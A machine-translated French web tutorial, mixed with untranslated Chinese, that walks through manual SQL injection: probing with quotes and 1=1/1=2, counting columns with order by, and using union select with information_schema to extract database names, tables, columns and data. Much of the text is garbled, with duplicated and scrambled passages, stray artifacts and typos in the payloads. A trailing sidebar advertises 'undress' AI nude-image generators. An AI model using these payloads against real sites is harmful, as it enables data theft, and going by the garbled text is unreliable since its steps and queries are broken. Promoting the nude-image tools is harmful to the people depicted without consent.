recherche
Maisonbase de donnéesSQLParlons du simple processus d'injection SQL manuelle

Cet article vous aborde les problèmes liés à l'injection manuelle dans SQL, y compris les problèmes liés à la détermination du point d'injection et à la détermination du type d'injection. J'espère qu'il sera utile à tout le monde.

Parlons du simple processus d'injection SQL manuelle

Déterminer le point d'injection

1. Méthode des guillemets simples : ajoutez un guillemet simple directement après l'URL. Si la page ne peut pas s'afficher normalement et que le navigateur renvoie des informations d'exception, cela signifie que le lien peut avoir un SQL. vulnérabilité d'injection

2.1 =1 et 1=2 : Ajoutez et 1=1 au paramètre get après l'URL, l'affichage est normal, remplacez 1=1 par 1=2, l'affichage est anormal, indiquant qu'il y a une injection SQL dans la page Web.

Déterminez le type d'injection

1. Injection numérique : la valeur de la variable injectée n'a pas besoin d'être mise entre guillemets, comme

select * from user where id=$id;

2 Injection de caractères : la variable injectée sera entourée de guillemets, comme `.

select * from user where username='$username';`

Faites attention lors de l'injection. Fermez les guillemets.
3. Injection de recherche :

select * from user where username like '%$pass%';

Construisez l'instruction SQL comme

select * from user where username like '%$pass%' union select语句 '%%';

C'est-à-dire que la variable transférée est pass%' union select instruction '% pour former une fermeture.

Déterminez la méthode de soumission du point d'injection

Déterminez si la méthode de soumission du point d'injection est get, post ou cookie en capturant les paquets.

Utilisez order by pour interroger les champs

Utilisez l'instruction order by pour interroger le nombre de champs qu'il y a dans la base de données. Vous pouvez déterminer le nombre de champs de la base de données grâce à des tentatives constantes. Par exemple, lorsque vous saisissez oeder by 9, la page signale un. erreur et lors de la saisie de l'ordre par 8, la page L'affichage est normal, c'est à dire qu'il y a 8 champs dans la base de données.
Par exemple, l'instruction de requête est : select * from user which id='$id';select * from user where id='$id';
可以构造下面的输入:(id = ') ' order by 3 '+--+
即查询语句为:select * from user where id='' order by 3 '--'

使用联合查询来查询当前数据库、用户、版本信息

使用 union select 语句来查询当前使用用户 user() , 数据库database() ,数据库版本 version() ,服务器操作系统的@@version_compile_os等信息
version版本十分重要,如果版本在5.0以上,就可以使用information_schema库来轻易的查询想要的信息
构造语句:

select * from user where id='' union select user(),database(),version()+--+;

查询当前数据库中的表,列和值

5.0 版本以上的mysql数据库自带的information_schema库中存储着数据库中所有的表名和列明信息。
下面我们就应该根据第五步查询的当前数据库的结果(如数据库为database_1)名下所有的表名tables的信息。
Information_schema.tables :记录着数据库中所有表名信息的表。
构造的查询语句如下:

Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--

查询的结果为:第五步查询的当前数据库中的表名信息。
Information_schema.columns: L'entrée suivante peut être construite : (id = ') ' order by 3 '+ --+<br> Autrement dit, l'instruction de requête est : <code>select * from user which id='' order by 3 '--'

Utilisez la requête union pour interroger la base de données actuelle, utilisateur et informations de version

Utiliser union L'instruction select est utilisée pour interroger l'utilisateur actuel user(), la base de données base de données(), la version de la base de données version(), @@version_compile_os et d'autres informations sur le système d'exploitation du serveur. très important. Si la version est supérieure à 5.0, vous pouvez utiliser la bibliothèque information_schema pour interroger facilement les informations souhaitées

Construisez l'instruction :

Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--
Interrogez les tables, colonnes et valeurs​​dans la base de données actuelle La bibliothèque information_schema fourni avec la base de données MySQL version 5.0 ou supérieure stocke tous les noms de tables et les informations répertoriées dans la base de données. 🎜 Ensuite, nous devons vérifier les informations de toutes les tables nommées tables en fonction du résultat de la requête de base de données actuelle à l'étape 5 (par exemple, la base de données est database_1). 🎜Information_schema.tables : une table qui enregistre toutes les informations sur le nom de la table dans la base de données. 🎜 L'instruction de requête construite est la suivante : 🎜
Selcet * from user where id='' union select 1,column_1,column_2 from tables;--
🎜Le résultat de la requête est : les informations sur le nom de la table dans la base de données actuelle interrogées à la cinquième étape. 🎜Information_schema.columns : enregistre les informations de nom de colonne de toutes les tables de la base de données ; 🎜 Ensuite, vous devez interroger les informations de nom de colonne en fonction des informations de nom de table obtenues à partir de la requête ci-dessus (par exemple, le table est table_1). L'instruction de construction est la suivante : 🎜rrreee🎜Après avoir interrogé le nom de la colonne, vous pouvez directement trouver les informations stockées dans la table via une requête conjointe (par exemple, les noms de colonnes trouvés sont column_1, column_2). Construisez l'instruction 🎜rrreee🎜 pour interroger la désignation de base de données spécifiée Données de stockage de table 🎜🎜Apprentissage recommandé : 🎜Tutoriel vidéo MySQL🎜🎜

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration
Cet article est reproduit dans:. en cas de violation, veuillez contacter admin@php.cn Supprimer
SQL pour l'analyse des données: techniques avancées pour l'intelligence d'affairesSQL pour l'analyse des données: techniques avancées pour l'intelligence d'affairesApr 14, 2025 am 12:02 AM

Les compétences avancées de requête en SQL comprennent des sous-requêtes, des fonctions de fenêtre, des CTES et des jointures complexes, qui peuvent gérer les exigences complexes d'analyse des données. 1) La sous-requête est utilisée pour trouver les employés avec le salaire le plus élevé de chaque département. 2) Les fonctions de fenêtre et le CTE sont utilisés pour analyser les tendances de la croissance des salaires des employés. 3) Les stratégies d'optimisation des performances incluent l'optimisation de l'index, la réécriture de requête et l'utilisation de tables de partition.

MySQL: une implémentation spécifique de SQLMySQL: une implémentation spécifique de SQLApr 13, 2025 am 12:02 AM

MySQL est un système de gestion de base de données relationnel open source qui fournit des fonctions et des extensions SQL standard. 1) MySQL prend en charge les opérations SQL standard telles que créer, insérer, mettre à jour, supprimer et étendre la clause limite. 2) Il utilise des moteurs de stockage tels que InNODB et Myisam, qui conviennent à différents scénarios. 3) Les utilisateurs peuvent utiliser efficacement MySQL via des fonctions avancées telles que la création de tables, l'insertion de données et l'utilisation de procédures stockées.

SQL: rendre la gestion des données accessible à tousSQL: rendre la gestion des données accessible à tousApr 12, 2025 am 12:14 AM

SQLMAKESDATAMANGAGECCESSIBLETOALLBYPROVIDINGASIMPLEYetPowerfultoolsetForQuting et ManagingDatabases.1) ItworkswithrelationdDatabases, permettant à la SSTospecifywhatTheywantTodowithThedata.2)

Stratégies d'indexation SQL: améliorer les performances de la requête par ordres de grandeurStratégies d'indexation SQL: améliorer les performances de la requête par ordres de grandeurApr 11, 2025 am 12:04 AM

Les indices SQL peuvent améliorer considérablement les performances de la requête grâce à une conception intelligente. 1. Sélectionnez le type d'index approprié, tel que B-Tree, Hash ou Index Full Text. 2. Utilisez l'index composite pour optimiser les requêtes multi-champs. 3. Évitez le sur-index pour réduire les frais généraux de maintenance des données. 4. Maintenir régulièrement des index, notamment la reconstruction et la suppression des indices inutiles.

Comment supprimer les contraintes dans SQLComment supprimer les contraintes dans SQLApr 10, 2025 pm 12:21 PM

Pour supprimer une contrainte dans SQL, effectuez les étapes suivantes: Identifiez le nom de contrainte à supprimer; Utilisez l'instruction ALTER TABLE: Nom de la contrainte de la table de table ALTER TABLE Nom de la contrainte; Confirmer la suppression.

Comment définir le déclencheur SQLComment définir le déclencheur SQLApr 10, 2025 pm 12:18 PM

Un déclencheur SQL est un objet de base de données qui effectue automatiquement des actions spécifiques lorsqu'un événement spécifique est exécuté sur une table spécifiée. Pour configurer les déclencheurs SQL, vous pouvez utiliser l'instruction Create Trigger, qui comprend le nom de déclenchement, le nom de la table, le type d'événement et le code de déclenchement. Le code de déclenchement est défini à l'aide du mot clé AS et contient des instructions ou des blocs SQL ou PL / SQL. En spécifiant les conditions de déclenchement, vous pouvez utiliser la clause où limiter la portée d'exécution d'un déclencheur. Les opérations de déclenchement peuvent être effectuées dans le code de déclenchement à l'aide de l'instruction INSERT, UNE-MATE ou DELETE. Les mots clés nouveaux et anciens peuvent être utilisés pour référencer le mot clé affecté dans le code de déclenchement.

Comment ajouter l'index pour la requête SQLComment ajouter l'index pour la requête SQLApr 10, 2025 pm 12:15 PM

L'indexation est une structure de données qui accélère la recherche de données en triant des colonnes de données. Les étapes pour ajouter un index à une requête SQL sont les suivantes: Déterminez les colonnes qui doivent être indexées. Sélectionnez le type d'index approprié (B-Tree, Hash ou Bitmap). Utilisez la commande Create Index pour créer un index. Reconstruire ou réorganiser régulièrement l'indice pour maintenir son efficacité. Les avantages de l'ajout d'index comprennent l'amélioration des performances de la requête, des opérations d'E / S réduites, le tri et le filtrage optimisé et l'amélioration de la concurrence. Lorsque les requêtes utilisent souvent des colonnes spécifiques, renvoyez de grandes quantités de données qui doivent être triées ou regroupées, impliquent plusieurs tables ou tables de base de données grandes, vous devriez envisager d'ajouter un index.

Comment utiliser Ifelse pour l'instruction SQLComment utiliser Ifelse pour l'instruction SQLApr 10, 2025 pm 12:12 PM

L'instruction IFELSE est une déclaration conditionnelle qui renvoie différentes valeurs en fonction du résultat de l'évaluation conditionnelle. Sa structure de syntaxe est: if (condition) alors return_value_if_condition_is_true else return_value_if_condition_is_false end if;.

See all articles

Outils d'IA chauds

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

AI Hentai Generator

AI Hentai Generator

Générez AI Hentai gratuitement.

Article chaud

R.E.P.O. Crystals d'énergie expliqués et ce qu'ils font (cristal jaune)
3 Il y a quelques semainesBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Meilleurs paramètres graphiques
3 Il y a quelques semainesBy尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Comment réparer l'audio si vous n'entendez personne
3 Il y a quelques semainesBy尊渡假赌尊渡假赌尊渡假赌
WWE 2K25: Comment déverrouiller tout dans Myrise
4 Il y a quelques semainesBy尊渡假赌尊渡假赌尊渡假赌

Outils chauds

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

Puissant environnement de développement intégré PHP

Dreamweaver Mac

Dreamweaver Mac

Outils de développement Web visuel

Listes Sec

Listes Sec

SecLists est le compagnon ultime du testeur de sécurité. Il s'agit d'une collection de différents types de listes fréquemment utilisées lors des évaluations de sécurité, le tout en un seul endroit. SecLists contribue à rendre les tests de sécurité plus efficaces et productifs en fournissant facilement toutes les listes dont un testeur de sécurité pourrait avoir besoin. Les types de listes incluent les noms d'utilisateur, les mots de passe, les URL, les charges utiles floues, les modèles de données sensibles, les shells Web, etc. Le testeur peut simplement extraire ce référentiel sur une nouvelle machine de test et il aura accès à tous les types de listes dont il a besoin.

VSCode Windows 64 bits Télécharger

VSCode Windows 64 bits Télécharger

Un éditeur IDE gratuit et puissant lancé par Microsoft

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel